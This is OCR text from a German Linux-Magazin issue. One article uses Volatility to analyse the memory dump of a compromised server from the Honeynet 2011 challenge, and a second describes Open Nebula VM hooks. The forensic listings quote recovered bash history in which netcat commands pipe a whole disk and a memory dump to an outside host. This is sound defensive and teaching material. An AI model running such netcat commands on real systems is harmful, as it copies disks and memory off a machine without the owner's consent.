und kurz: »./vol.py linux_cpuinfo«.<br />
Alle <strong>Linux</strong>-spezifischen Befehle beginnen<br />
mit »linux_«, Grep-Kommandos liefern<br />
über Pipes weitere Aufschlüsse (Abbildung<br />
1). Listing 5 bietet eine Auswahl<br />
der interessantesten Kommandos von<br />
Mounts über Netzwerkbefehle bis hin zu<br />
offenen Ports und Bash-History.<br />
Ein fremder Exim-Server<br />
und Netcat-Verbindungen<br />
Wie Listing 5 und Abbildung 2 zeigen,<br />
hat im Demo-System ein lokaler Angreifer<br />
die installierte Exim4-Version deinstalliert<br />
und gegen eine andere ausgetauscht, die<br />
nicht aus dem Repository stammt. Die gefundene<br />
Netcat-Verbindung hat er wohl<br />
benutzt, um die Partition »/dev/sda1«<br />
und den Inhalt des Arbeitsspeichers zu<br />
übertragen.<br />
Jetzt wären die Logfiles des Mailservers<br />
für die weitere Auswertung aussagekräftig.<br />
Doch leider ließen sich die nicht aus<br />
dem Arbeitsspeicher rekonstruieren.<br />
Beim Honeynet-2011-Fall liegt aber zusätzlich<br />
zum Memory Dump auch die<br />
Festplatte des kompromittierten Systems<br />
vor, beispielsweise mit der Bash-History.<br />
Doch dass der interessierte Angreifer über<br />
Wget Schadsoftware eingeschleust hat,<br />
lässt sich auch aus dem Memory Dump<br />
erkennen – schon mit Unix-Standardtools:<br />
Verdächtige Einträge wie »wget«, »tar.gz«<br />
oder »tgz« sucht der Strings-Befehl:<br />
Listing 5: »vol.py«-Kommandos<br />
01 # vol.py linux_mount<br />
02 Volatile Systems Volatility Framework 2.3_beta<br />
03 [...]<br />
04 sysfs rw,nosuid,nodev,noexec<br />
05 udev /dev tmpfs rw<br />
06 tmpfs /lib/init/rw tmpfs rw,nosuid<br />
07 /dev/sda1 / ext3 rw none<br />
08 /proc proc rw,nosuid,nodev,noexec<br />
09 devpts /dev/pts devpts rw,nosuid,noexec<br />
10 usbfs /proc/bus/usb usbfs rw,nosuid,nodev,noexec<br />
11 tmpfs /dev/shm tmpfs rw,nosuid,nodev<br />
12 [...]<br />
13 # vol.py linux_arp<br />
14 Volatile Systems Volatility Framework 2.3_beta<br />
15 [:: ] at 00:00:00:00:00:00 on lo<br />
16 [192.168.56.1 ] at 0a:00:27:00:00:00 on eth0<br />
17 [192.168.56.101 ] at 08:00:27:28:5a:cc on eth0<br />
18 <br />
19 # vol.py linux_netstat<br />
20 Volatile Systems Volatility Framework 2.3_beta<br />
21 UDP 0.0.0.0:111 0.0.0.0:0 portmap/1429<br />
22 TCP 0.0.0.0:111 0.0.0.0:0 LISTEN portmap/1429<br />
23 UDP 0.0.0.0:769 0.0.0.0:0 rpc.statd/1441<br />
24 UDP 0.0.0.0:38921 0.0.0.0:0 rpc.statd/1441<br />
25 TCP 0.0.0.0:39296 0.0.0.0:0 LISTEN rpc.statd/1441<br />
26 UDP 0.0.0.0:68 0.0.0.0:0 dhclient3/1624<br />
27 UNIX /dev/log<br />
28 UNIX /var/run/acpid.socket<br />
29 TCP :::22 :::0 LISTEN sshd/1687<br />
30 TCP 0.0.0.0:22 0.0.0.0:0 LISTEN sshd/1687<br />
31 TCP :::25 :::0 LISTEN exim4/1942<br />
32 TCP 0.0.0.0:25 0.0.0.0:0 LISTEN exim4/1942<br />
33 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065<br />
34 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065<br />
35 TCP 192.168.56.102:43327 192.168.56.1:4444 ESTABLISHED sh/2065<br />
36 TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065<br />
37 TCP 192.168.56.102:25 192.168.56.101:37202 CLOSE sh/2065<br />
38 TCP 192.168.56.102:56955 192.168.56.1:8888 ESTABLISHED nc/2169<br />
39 <br />
40 # vol.py linux_psaux | egrep '(2065|2169)'<br />
41 Volatile Systems Volatility Framework 2.3_beta<br />
42 2065 0 0 sh 2169 0 0 nc 192.168.56.1 8888<br />
43 <br />
44 # vol.py linux_bash<br />
45 Volatile Systems Volatility Framework 2.3_beta<br />
46 Pid Name Command Time Command<br />
47 ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐<br />
48 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get remove exim4<br />
49 [...]<br />
50 2042 bash 2011‐02‐06 14:04:39 UTC+0000 scp yom@192.168.56.1:/home/<br />
yom/temporary/exmi4/* .<br />
51 [...]<br />
52 2042 bash 2011‐02‐06 14:04:39 UTC+0000 vi update‐exim4.conf.conf<br />
53 2042 bash 2011‐02‐06 14:04:39 UTC+0000 update‐exim4.conf<br />
54 2042 bash 2011‐02‐06 14:04:39 UTC+0000 halt<br />
55 2042 bash 2011‐02‐06 14:04:39 UTC+0000 reboot<br />
56 2042 bash 2011‐02‐06 14:04:39 UTC+0000 whereis gcc<br />
57 2042 bash 2011‐02‐06 14:04:39 UTC+0000 whereis memdump<br />
58 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get install memdump<br />
59 2042 bash 2011‐02‐06 14:04:39 UTC+0000 halt<br />
60 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ifconfig<br />
61 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ping 192.168.56.1<br />
62 2042 bash 2011‐02‐06 14:04:39 UTC+0000 mount<br />
63 2042 bash 2011‐02‐06 14:04:39 UTC+0000 sudo dd if=/dev/sda | nc<br />
192.168.56.1 4444<br />
64 [...]<br />
65 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get install memdump<br />
66 2042 bash 2011‐02‐06 14:04:39 UTC+0000 netstat ‐ant<br />
67 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get install ddrescue<br />
68 2042 bash 2011‐02‐06 14:04:39 UTC+0000 apt‐get install dcfldd<br />
69 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ls /dev/kmem<br />
70 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ls /dev/mem<br />
71 2042 bash 2011‐02‐06 14:04:39 UTC+0000 halt<br />
72 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ifconfig<br />
73 2042 bash 2011‐02‐06 14:04:39 UTC+0000 ifconfig<br />
74 2042 bash 2011‐02‐06 14:04:39 UTC+0000 reboot<br />
75 2042 bash 2011‐02‐06 14:04:46 UTC+0000 ifconfig<br />
76 2042 bash 2011‐02‐06 14:24:43 UTC+0000 dd if=/dev/sda1 | nc<br />
192.168.56.1 8888<br />
77 2042 bash 2011‐02‐06 14:42:29 UTC+0000 memdump | nc 192.168.56.1<br />
8888
Abbildung 2: Das Volatility-Tool Yarascan hat eine gespawnte Shell gefunden,<br />
über die ein Angreifer offensichtlich Daten übertragen hat.<br />
strings ‐td victoria‐v8.memdump.img | U<br />
egrep '(\.tar|\.tgz|.\tar\.gz)'<br />
Das liefert recht viele Treffer, darunter<br />
auch »rk.tar« am Offset »4« (Listing 6).<br />
In dessen Umkreis finden sich meist noch<br />
mehr spannende Fakten. Seltsamerweise<br />
ist dies hier nicht der Fall. Wer das physische<br />
Dateisystem greifbar hat, kann die<br />
Dateien rund um »rk.tar« inspizieren.<br />
Dateien über den Tmp-FS-<br />
Cache rekonstruieren<br />
Infos<br />
[1] Ergebnisse der Universität Princeton:<br />
[https:// citp. princeton. edu/ research/<br />
memory/]<br />
[2] Volatility:<br />
[http:// code. google. com/ p/ volatility/]<br />
[3] Achim Leitner, „Einbruch“: <strong>Linux</strong>-<strong>Magazin</strong><br />
06/08, S. 29: [http:// www. linux‐magazin.<br />
de/ Ausgaben/ 2008/ 06/ Einbruch/]<br />
[4] Lime: [http:// code. google. com/ p/<br />
lime‐forensics/]<br />
[5] Memory Dumps: [http:// code. google. com/<br />
p/ volatility/ wiki/ SampleMemoryImages]<br />
[6] Helix-CD:<br />
[http:// www. e‐fense. com/ products. php]<br />
[7] Lime-Download: [http:// code. google. com/<br />
p/ lime‐forensics/ downloads/ list]<br />
[8] Fmem: [http:// hysteria. sk/ ~niekt0/ fmem/]<br />
[9] Msramdump: [http:// www.<br />
mcgrewsecurity. com/ tools/ msramdmp/]<br />
[10] Volatility mit Plugins: [http:// code. google.<br />
com/ p/ volatility/ wiki/ FullInstallation]<br />
[11] Dwarf: [http:// dwarfstd. org]<br />
[12] Ein infizierter Server zum Üben:<br />
[http:// www. honeynet. org/ challenges/<br />
2011_7_compromised_server]<br />
[13] Sleuthkit: [http://www.sleuthkit.org/]<br />
Auch der Befehl »linux_mount« kann erhellende<br />
Informationen liefern, die jetzt<br />
zum Tragen kommen, etwa ob das System<br />
das heute selbstverständliche<br />
Tmp-FS<br />
benutzt hat. Das temporäre<br />
Dateisystem<br />
hält fast immer eine<br />
Kopie des Dateisystems<br />
als Cache im<br />
RAM vor.<br />
Mit etwas Glück lassen<br />
sich so Dateien,<br />
in diesem Beispiel »rk.<br />
tar«, aus dem Arbeitsspeicher rekonstruieren.<br />
Genau dafür liefert Volatility den<br />
Befehl »linux_dentry_cache«:<br />
vol.py<br />
linux_dentry_cache > bodyfile<br />
Die Ausgabedatei liegt, wie der verwendete<br />
Name bereits vermuten lässt, im forensischen<br />
Bodyfile-Format vor. Mactime,<br />
ein Programm aus dem Sleuthkit [13],<br />
hilft und wandelt sie in ein lesbares Format<br />
um (Listing 7).<br />
Fehlerhafte<br />
Implementierung<br />
Aber leider weist das rekonstruierte<br />
Body file-Format immer noch einen Fehler<br />
bei der Wiederherstellung des Datums<br />
auf – der 11. Februar 2080 wird wohl<br />
nicht das Erstellungsdatum gewesen sein.<br />
Die Datei ist als Beweismittel daher mit<br />
Vorsicht zu genießen. Die Entwickler sind<br />
hierüber bereits informiert, doch die Rekonstruktion<br />
von »rk.tar« bleibt damit<br />
derzeit erfolglos, zumindest für den, der<br />
das Dateisystem nicht hat.<br />
Immerhin lässt sich als Proof-of-Concept<br />
die Datei »/etc/passwd« wiederherstellen:<br />
vol.py linux_find_file ‐F "/etc/passwd"<br />
Volatile Systems Volatility Framework U<br />
2.3_beta<br />
Inode Number<br />
Inode<br />
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐<br />
48355 0xcf033e48<br />
Listing 6: »strings« mit »awk«<br />
01 strings ‐td victoria‐v8.memdump.img| awk<br />
'$1>253507000 && $1 < 253509999 {print}'<br />
02 253507096 sshd<br />
03 253507231 info<br />
04 253507363 5Tj‐0000Ym‐DX‐D<br />
05 253507493 Pm5SK‐0000Yf‐0U‐D<br />
06 253507628 Mq‐0000XR‐N4‐D<br />
07 253507889 om_adj<br />
08 253508020 hosts.deny<br />
Der virtuelle Inode im gecachten System<br />
liegt also bei 0xcf033e48. Nach dem<br />
Aufruf von »vol.py linux_find_file ‐i<br />
0xcf033e48 ‐O /tmp/passwd« liegt eine<br />
Kopie der rekonstruierten Passwd-Datei<br />
im Verzeichnis »/tmp«.<br />
Fazit<br />
Für die neueste Version von Volatility<br />
haben die Entwickler viel geleistet. Neue<br />
<strong>Linux</strong>-Befehle erweitern den Befehlsumfang<br />
gewaltig. Verglichen mit den bisherigen<br />
Methoden der Memory-Auswertung,<br />
die sich meist auf Strings-Befehle beschränken<br />
musste, erscheinen die neuen<br />
Tools wie ein Quantensprung, der in der<br />
Version 2.3 ja auch auf Android und I-OS<br />
kommen soll. Wermutstropfen bleibt die<br />
Profilerstellung. Die zeitaufwändige Prozedur<br />
ist aber nicht Volatility anzulasten,<br />
hier wären eher Distributionshersteller in<br />
der Pflicht. <br />
n<br />
Der Autor<br />
Hans-Peter Merkel ist mit<br />
dem Schwerpunkt Datenforensik<br />
seit vielen Jahren<br />
in der Open-Source-<br />
Community aktiv. Er bildet<br />
Mitarbeiter von Strafverfolgungsbehörden<br />
in Europa, Asien und Afrika aus<br />
und engagiert sich als Gründer und Vorsitzender<br />
bei Freioss und <strong>Linux</strong>4afrika.<br />
Listing 7: »mactime«<br />
01 # mactime ‐b bodyfile > bodyfile.mac<br />
02 # cat bodyfile.mac<br />
03 [...]<br />
04 Sun Feb 11 2080 08:21:56 4421289 .a.. 0 101 103<br />
39467 tmp/rk.tar<br />
05 Sun Feb 11 2080 08:22:04 4421289 m... 0 101 103<br />
39467 tmp/rk.tar<br />
06 Sun Feb 11 2080 08:22:12 4421289 ...b 0 101 103<br />
39467 tmp/rk.tar<br />
09 253508152 alternatives<br />
10 253508216 @f37<br />
11 253508284 hosts.allow<br />
12 253508551 _adj<br />
13 253508683 5Rz‐0000Xt‐U0‐D<br />
14 253508944 rk.tar<br />
15 253509208 exim<br />
16 253509340 exim<br />
17 253509472 input<br />
Volatility 2.3 11/2013<br />
Sysadmin<br />
www.linux-magazin.de<br />
73
Sysadmin<br />
www.linux-magazin.de Open Nebula 11/2013<br />
74<br />
Open Nebula mit Hooks erweitern<br />
Action am Haken<br />
An Hooks, also an Haken, können trittsichere Open-Nebula-Anwender ihre Shellprogramme einklicken, die bei<br />
Statusänderungen virtueller Maschinen automatisch Aktionen auslösen. Der Berg ruft. Nils Magnus<br />
und Funktionsumfangs und mit jeweils<br />
eigenen Konzepten wählen.<br />
Wegen der Verschiedenartigkeit abzudeckender<br />
Einsatzszenarien gebärden sich<br />
die meisten Cloudstacks aber komplex<br />
und erfordern eine langwierige Einarbeitung.<br />
Dass bei normalen Anforderungen<br />
der Benutzer auch schneller vorangehen<br />
kann, will das aus Spanien stammende<br />
Open Nebula [5] beweisen.<br />
Schlanke Cloudverwaltung<br />
aus Spanien<br />
© gregeperson, photocase.com<br />
Virtualisierung hat die Schlagzahl<br />
beträchtlich erhöht – mit KVM, Xen,<br />
VMware & Co. stellt der Admin neue<br />
Systeme viel schneller bereit, als sich<br />
neue Hardware in den Zeiten dedizierter<br />
Server beschaffen ließ. Die gewonnene<br />
Zeit bringt der nun für viel mehr Systeme<br />
Verantwortliche mit dem Klonen<br />
von Image-Konfigurationen, dem Kopieren<br />
von Verzeichnissen und dem Mounten<br />
von Speicherressourcen zu. Richtig<br />
knifflig wird es, wenn die Hardware nach<br />
Wartung ruft, denn dann gilt es, virtuelle<br />
Maschinen herunterzufahren, zu verschieben<br />
und neu zu starten.<br />
Wer die Schwemme an Handgriffen reduzieren<br />
will, greift zu einer Infrastructureas-a-Service-Lösung<br />
(IaaS). Sie nimmt<br />
sich der wichtigsten Aufgaben der Servervirtualisierung<br />
an, verwaltet Basisinfrastruktur<br />
wie DNS und DHCP und stellt<br />
dem Admin eine <strong>Web</strong>oberfläche zur Verfügung.<br />
Mit Open Stack [1], Open QRM<br />
[2], Eucalyptus [3] oder Ganeti [4] darf<br />
der Systemverwalter aus Open-Source-<br />
Produkten unterschiedlicher Herkunft<br />
Die Software verbrachte ihre Kindheit<br />
im akademischen Elternhaus des Grid<br />
Computing, mittlerweile gilt sie als leichtgewichtige<br />
Enterprise-Lösung [6]. Der<br />
amerikanische Teilchenbeschleuniger<br />
Fermilab verwaltet damit mehrere Hundert<br />
virtuelle Maschinen, auf industrieller<br />
Seite listet das Projekt unter anderem<br />
Telefonica und Akamai als Anwender. Die<br />
Hauptentwickler von C12G Labs bieten<br />
kommerziellen Support an und bauen<br />
derzeit ein internationales Partnernetzwerk<br />
auf [7].<br />
Open Nebula zeichnet sich durch schlichte<br />
Eleganz aus. Wo andere IaaS-Wettbewerber<br />
vom Admin fordern, ein halbes<br />
Dutzend Dienste und Komponenten zu<br />
installieren und zu konfigurieren, kommt<br />
Open Nebula mit wenigen Komponenten<br />
und nur einem Frontend zum Steuern<br />
und Konfigurieren der eigenen Cloud aus,<br />
dem Open Nebula Sunstone. Der Kasten<br />
Listing 1: Ausschnitt aus »/etc/one/oned.conf«<br />
01 VM_HOOK = [<br />
07 VM_HOOK = [<br />
02 name = "vm_einschalten",<br />
08 name = "vm_ausschalten",<br />
03 on = "RUNNING",<br />
09 on = "STOP",<br />
04 command = "account.sh",<br />
10 command = "account.sh",<br />
05 arguments = "on $ID" ]<br />
11 arguments = "off $ID" ]<br />
06 <br />
12 [...]<br />
DELUG-DVD<br />
Auf der Heft-DVD dieser Ausgabe<br />
finden Sie den hier im Artikel unter [6]<br />
DELUG-DVD<br />
referenzierten Open-Nebula-Artikel aus der<br />
Ausgabe 10/2011 als PDF-Dokument. Er erklärt<br />
die Grundlagen und das Setup der Version 3<br />
nochmals ausführlicher.
„Installation“ skizziert die Inbetriebnahme,<br />
Abbildung 1 die Architektur.<br />
Versionen und Features<br />
Open Nebula nennt seine Releases nach<br />
interstellaren Nebeln. Die im Mai 2013<br />
veröffentlichte stabile Version 4.0 taufte<br />
das Projekt „Eagle“ – nach dem rund<br />
7000 Lichtjahre entfernten Adlernebel,<br />
einem Mitte des 18. Jahrhunderts entdecktem<br />
Sternenhaufen. Gegenüber der<br />
rund zwei Jahre älteren 3.x-Linie kamen<br />
Bugfixes und vor allem eine Runderneuerung<br />
der <strong>Web</strong>oberfläche Sunstone dazu.<br />
Die betraf zum Beispiel den VNC-Zugriff<br />
auf virtuelle Maschinen.<br />
Die neueste Version 4.2 mit dem Codenamen<br />
„Flame“ erschien Anfang August<br />
2013. Der namengebende Flammennebel<br />
liegt im Sternenbild Orion, sein Licht benötigt<br />
rund 1000 Jahre bis zu uns. Die<br />
Macher des Projekts haben die Bedienung<br />
der Sunstone-Oberfläche für Flame etwas<br />
rundgeschliffen. Neu ist eine vereinfachte<br />
Ansicht, die sich explizit an Anwender<br />
wendet, die nur eine VM provisionieren<br />
und nicht den ganzen Cluster einrichten<br />
möchten. Admins können nun die Größe<br />
der Images besser beobachten und eingreifen,<br />
falls eine VM aus dem Ruder<br />
zu laufen droht. Dazu monitort Open<br />
Nebula neuerdings diese Ressource.<br />
Hypervisor<br />
Admin<br />
Virtualisierungshost 1<br />
VM 1 VM 2<br />
Browser<br />
VM 3 VM 4 VM 5<br />
HTTP<br />
Ganz neu haben die Entwickler das Backend<br />
für die VMware-Virtualisierung geschrieben,<br />
die sich nun einfacher installieren<br />
lässt und weniger Abhängigkeiten<br />
besitzt. Der Xen-Treiber nutzt neuerdings<br />
die XL-Funktionen von Version 4.0 des<br />
Hypervisors.<br />
Unter Open-Nebula-Anwendern hat sich<br />
die Praxis etabliert, in Testumgebungen<br />
die neueste Version der Features wegen<br />
zu benutzen, für den Produktivbetrieb<br />
jedoch die vorletzte Version. Die im<br />
Folgenden beschriebenen Programmierschnittstelle<br />
existierte zwar schon in der<br />
Frontend<br />
Sunstone<br />
Hypervisor<br />
3er Version, ihre ganze Funktionalität<br />
entfaltet sich aber erst mit der 4.0.<br />
Am Hook<br />
Steuerung der VMs per SSH<br />
VM 6<br />
One-<br />
API<br />
Virtualisierungshost 2<br />
VM 7 VM 8 VM 9<br />
Open Nebula Server<br />
Abbildung 1: Open-Nebula-Admins steuern ihre Cloud hauptsächlich über die Oberfläche Sunstone im <strong>Web</strong>browser.<br />
Das Frontend wiederum verbindet sich per API mit dem Open Nebula Server, der seinerseits die<br />
Virtualisierungshosts steuert. Open Nebula fordert von seinen Hosts nur einen laufenden SSH-Server.<br />
Ein wichtiger Grund, Server zu virtualisieren,<br />
ist das Streben nach Automatisierung.<br />
Hat die eigene Entwicklungsabteilung<br />
beispielsweise per CI-Server Jenkins<br />
[9] eine neue Release für ihre PHP-, Perl-,<br />
Ruby- oder Java-Anwendung gebaut, so<br />
kann sie automatisch eine Stage-VM mit<br />
den notwendigen Paketen und Frameworks<br />
erzeugen. Hat die beauftragende<br />
Open Nebula 11/2013<br />
Sysadmin<br />
www.linux-magazin.de<br />
75<br />
Installation<br />
Das Projekt Open Nebula liefert fertige Pakete<br />
für eine ganze Reihe von Distributionen aus, darunter<br />
für Centos, Arch und Gentoo. Um es unter<br />
Open Suse zu starten, fügt Root zusätzlich<br />
zum Packman-Repository die Paketquellen des<br />
Projekts hinzu und installiert die Software:<br />
zypper addrepo ‐‐no‐gpgcheck ‐‐refresh U<br />
‐t YUM http://opennebula.org/repo/U<br />
openSUSE/12.3/stable/x86_64 opennebula<br />
zypper refresh<br />
zypper install opennebula<br />
zypper install opennebula‐sunstone<br />
Für Debian und Ubuntu gibt es ein Tar-Archiv<br />
mit mehreren angepassten Debian-Paketen, von<br />
denen der Admin »opennebula‐common« und<br />
»libopennebula‐ruby« sowie deren Abhängigkeiten<br />
installiert. Das Tutorial [8] hilft kompetent<br />
weiter, sollten allfällige Ruby-Warnungen<br />
den Installationsprozess aufhalten.<br />
Die Installation legt den <strong>Linux</strong>-Benutzer »oneadmin«<br />
an, der mit gleicher UID auch auf allen<br />
Compute-Nodes existieren muss, die Open<br />
Nebula auch Hosts nennt. Außer einem laufenden<br />
Open-SSH-Server braucht der Systemverwalter<br />
dort keine Software zu installieren.<br />
Er stellt nur sicher, dass der öffentliche SSH-<br />
Schlüssel des Benutzers »oneadmin« in den<br />
»authorized_keys« des gleichen Accounts auf<br />
allen Compute-Nodes vorhanden ist und sich<br />
der Clouddienst damit überall einzuloggen<br />
vermag.<br />
Hypervisor-agnostische Virtualisierung<br />
Noch fehlt die Virtualisierungssoftware auf den<br />
Hosts, denn sie ist nicht Teil von Open Nebula.<br />
Der IaaS-Stack kennt aber die meisten Hypervisoren,<br />
darunter KVM, Xen sowie VMware, und<br />
steuert auch die Libvirt an.<br />
Auf dem Frontend hat die Installationsroutine<br />
unter »~oneadmin/.one/one_auth« einen Anwendungsaccount<br />
angelegt. Als »oneadmin«<br />
startet der Systemverwalter nun den Open-<br />
Nebula-Server mit dem Kommando »one start«<br />
und prüft mit »onevm list«, ob er ohne Fehlermeldungen<br />
das interne API des Servers erreicht.<br />
Um an das <strong>Web</strong>frontend von beliebigen<br />
Hosts aus zu gelangen, fügt er die gewünschte<br />
IP-Adresse oder den Eintrag<br />
:host = 0.0.0.0<br />
in die Konfigurationsdatei »/etc/one/sunstone<br />
‐server.conf« ein. Ohne weitere Änderungen<br />
bindet sich Sunstone (Abbildung 2) nur an Localhost<br />
und ist nach »sunstone‐server start«<br />
unter »http://localhost:9869/« zu erreichen.<br />
Bei Problemen prüft der Admin »/var/log/one/<br />
sunstone.log« und das zugehörige Errorfile im<br />
selben Verzeichnis.<br />
Übrigens laufen nur auf dem Frontend Dienste<br />
dauerhaft: Zu Open Nebulas Verwaltungsserver<br />
verbinden sich der Scheduler, der gegebenenfalls<br />
virtuelle Maschinen von einem Host auf<br />
einen anderen verschiebt, die <strong>Web</strong>oberfläche<br />
Sunstone und das API, über das Entwickler per<br />
OCCI- oder EC2-API Zugriff auf die Cloudfunktionen<br />
erlangen. Auf den Hosts selbst arbeitet<br />
außer den VMs und dem Open-SSH-Server kein<br />
Dienst auf Dauer.
Sysadmin<br />
www.linux-magazin.de Open Nebula 11/2013<br />
76<br />
Abbildung 2: Das Dashboard zeigt oben wichtige Systemparameter, darunter eine einfache Monitoring-Ansicht von Hosts (links) und virtuellen Maschinen (rechts).<br />
Über die Menüleiste (links) erzeugen und verwalten Administratoren – auf Wunsch auch Anwender – die Systeme der Open-Nebula-Cloud.<br />
Fachabteilung die Anwendung getestet<br />
und freigegeben, reicht dem Admin im<br />
besten Fall ein Klick, um die zugehörigen<br />
Ressourcen wieder freizugeben.<br />
In den Hochglanzbroschüren zum Thema<br />
Cloud Computing bleibt unerwähnt, dass<br />
hier die Tücke im Detail steckt. Denn<br />
oft ist es nötig, in der einen virtuellen<br />
Maschine ein Datenbankschema zu aktualisieren<br />
oder in einer anderen einen besonderen<br />
Dienst zu starten. Open Nebula<br />
stellt zum Glück für solche Aufgaben so<br />
genannte Hooks bereit [10]. Bei vielen<br />
Gelegenheiten ruft die Software damit<br />
externe Programme auf, die der Admin<br />
in der Programmier- oder Skriptsprache<br />
seiner Wahl verfassen darf.<br />
Nachhaken bei Ereignissen<br />
Das Grundprinzip: Wenn ein Open-Nebula-Anwender<br />
erfahren möchte, ob sich<br />
etwas bei einer virtuellen Maschine, einem<br />
Host, den konfigurierten Netzen,<br />
Benutzern, Gruppen oder Images ändert,<br />
schaltet er ein eigenes Skript in die Abarbeitungsreihenfolge<br />
ein. Seine Tools legt<br />
er im Verzeichnis »/var/lib/one/remotes/<br />
hooks« ab (bei Debian »/var/lib/opennebula/remotes/hooks«).<br />
Um festzulegen, auf welche Ereignisse<br />
er reagieren möchte, sucht sich der<br />
Cloudverwalter das auslösende Objekt<br />
und Ereignis aus Tabelle 1 oder 2 heraus<br />
und trägt es in »/etc/one/oned.conf« ein.<br />
Listing 1 registriert beispielsweise das<br />
Shellskript aus Listing 2, um die aktive<br />
Laufzeit der VMs zu messen.<br />
Das »VM_HOOK«-Konstrukt darf in der<br />
Konfiguration mehrfach auftauchen. Auf<br />
welches Ereignis Open Nebula reagiert,<br />
legt der Parameter »on« fest (Listing 1,<br />
Zeilen 3 und 9). Der Eintrag »commands«<br />
spezifiziert das aufzurufende Skript, »arguments«<br />
einen String, der seine Übergabeparameter<br />
enthält. Wie Kenner sofort<br />
an der Syntax sehen, ist die IaaS-<br />
Verwaltung selbst in Ruby verfasst. Bei<br />
der Sprache eigener Skripte bleibt dem<br />
Admin jedoch die freie Wahl.<br />
Das Shellskript aus Listing 2 prüft in den<br />
Zeilen 5 bis 9, ob die VM läuft, und verzeichnet<br />
zusammen mit der VM-ID in<br />
Zeile 24 einen Unix-Epoch-Zeitstempel im<br />
konfigurierbaren Logfile. Mit einem Awk-<br />
Skript, das sich Logfiles vornimmt und<br />
Werte parst, ließe sich daraus die Gesamtlaufzeit<br />
jeder VM leicht ermitteln und<br />
beispielsweise in der Fakturierungssoftware<br />
einer Abteilung oder eines Kunden<br />
der IaaS-Cloud weiterberechnen.<br />
Die »$TEMPLATE«-Variable<br />
Das Beispiel übergibt Parameter nur auf<br />
eine sehr einfache Weise. Mehr Infor-<br />
Tabelle 1: Ereignisse für virtuelle Maschinen<br />
Ereignis Wann tritt es ein?<br />
CREATE Nachdem Open Nebula eine neue VM erzeugt hat<br />
RUNNING Sobald die VM tatsächlich läuft<br />
SHUTDOWN Nachdem jemand die VM beendet hat<br />
STOP Sobald jemand die VM angehalten hat oder wenn Open Nebula<br />
eine VM von einem zum anderen Host migriert<br />
DONE Nachdem eine VM dauerhaft angehalten ist<br />
UNKNOWN Sobald eine VM in den Status »unknown« wechselt<br />
FAILED Sobald eine VM in den Status »failed« wechselt<br />
CUSTOM Wenn ein benutzerdefinierbares Ereignis eintritt<br />
Tabelle 2: Ereignisse für andere Objekte<br />
Ereignis<br />
Host<br />
CREATE<br />
Wann tritt es ein?<br />
Nachdem Open Nebula einen Host in die Verwaltung<br />
aufnimmt<br />
Sobald eine VM einen Fehlerzustand erkennt<br />
Wenn ein Host den Cluster verlässt<br />
ERROR<br />
DISABLE<br />
Netz, User, Gruppe oder Image<br />
CREATE Wenn jemand das Objekt erzeugt<br />
REMOVE Falls jemand das Objekt entfernt
mationen über die betroffenen Ressourcen<br />
erlangt der Anwender, wenn er den<br />
Inhalt der Variablen »$TEMPLATE« an<br />
das Skript weiterreicht. Sie speichert in<br />
einer Art XML-Dialekt eine Vielzahl von<br />
Details über die VM, das Netz oder das<br />
Speichersystem. Um nicht mit einem externen<br />
XML-Parser ganz großes Geschütz<br />
auffahren zu müssen, liefern die Entwickler<br />
ein Werkzeug mit, das die Inhalte in<br />
handliche Key-Value-Paare zerlegt und<br />
ausfiltert. So liefert das Bash-Fragment<br />
X=/var/lib/one/remotes/datastore/xpath.rb<br />
mem=$($X ‐b $template HOST_SHARE/MAX_MEM)<br />
den Inhalt des Containers von »« unterhalb des<br />
Wurzelknotens. In diesem Feld verschickt<br />
Open Nebula den Wert für verfügbaren<br />
Gesamtspeicher auf dem Virtualisierungshost,<br />
Listing 3 zeigt als Beispiel ein<br />
ganzes Bündel an Werten.<br />
Monitoring als<br />
Hauptanwendung<br />
mit Ganglia [11] selbst ein einfaches Performance-Monitoring<br />
mit, womit der Systemverwalter<br />
die wichtigen Systemparameter<br />
wie CPU-Last oder freien Speicher<br />
im Auge behält.<br />
Wer sich an das »CREATE«-Event einer<br />
VM anhängt, kann die Monitoring-Agentensoftware<br />
per Konfigurationsmanagement<br />
gleich mitinstallieren oder eine<br />
fertige Anwendung per Continous-Integration-Trigger<br />
ausrollen. Sowohl Puppet,<br />
Chef & Co. als auch Jenkins bieten dafür<br />
Schnittstellen, die der Admin mit Wget<br />
oder Curl anzusteuern im Stande ist.<br />
Ein- und Ausblick<br />
Eine eigene private Open-Nebula-Cloud<br />
baut der Systemverwalter mit vergleichsweise<br />
wenigen Handgriffen auf. Im<br />
einfachsten Fall benötigt er bloß zwei<br />
Systeme, eine Managementkonsole mit<br />
<strong>Web</strong>zugriff und einen Virtualisierungshost.<br />
Wegen seiner gut handhabbaren<br />
und offenen Schnittstellen lässt sich<br />
das modulare Open Nebula erweitern.<br />
Das gelingt – wie im Artikel beschrieben<br />
– mittels Hooks, die sich in wichtige<br />
System ereignisse einklinken.<br />
Darüber hinaus stellt die IaaS-Verwaltung<br />
Interessierten eine Reihe weiterer APIs<br />
bereit: Mittels so genannter Treiber können<br />
sie ähnlich einfach neue Hypervisoren<br />
einbinden. Über EC2- oder OCCI-<br />
Konnektoren (Oracle C++ Call Interface)<br />
steuert der Wolkenkapitän das Hoch- und<br />
Herunterfahren seiner virtuellen Anwendungen.<br />
Der Admin legt Speicherressourcen<br />
zwar von Hand an und verwaltet<br />
seine VLANs selbst, erhält dafür aber<br />
mit Open Nebula eine private Cloud, die<br />
transparent und nachvollziehbar über<br />
den Himmel zieht. (jk) <br />
n<br />
Der Autor<br />
Nils Magnus entwirft als Senior System Engineer<br />
bei der Inovex GmbH skalier- und automatisierba re<br />
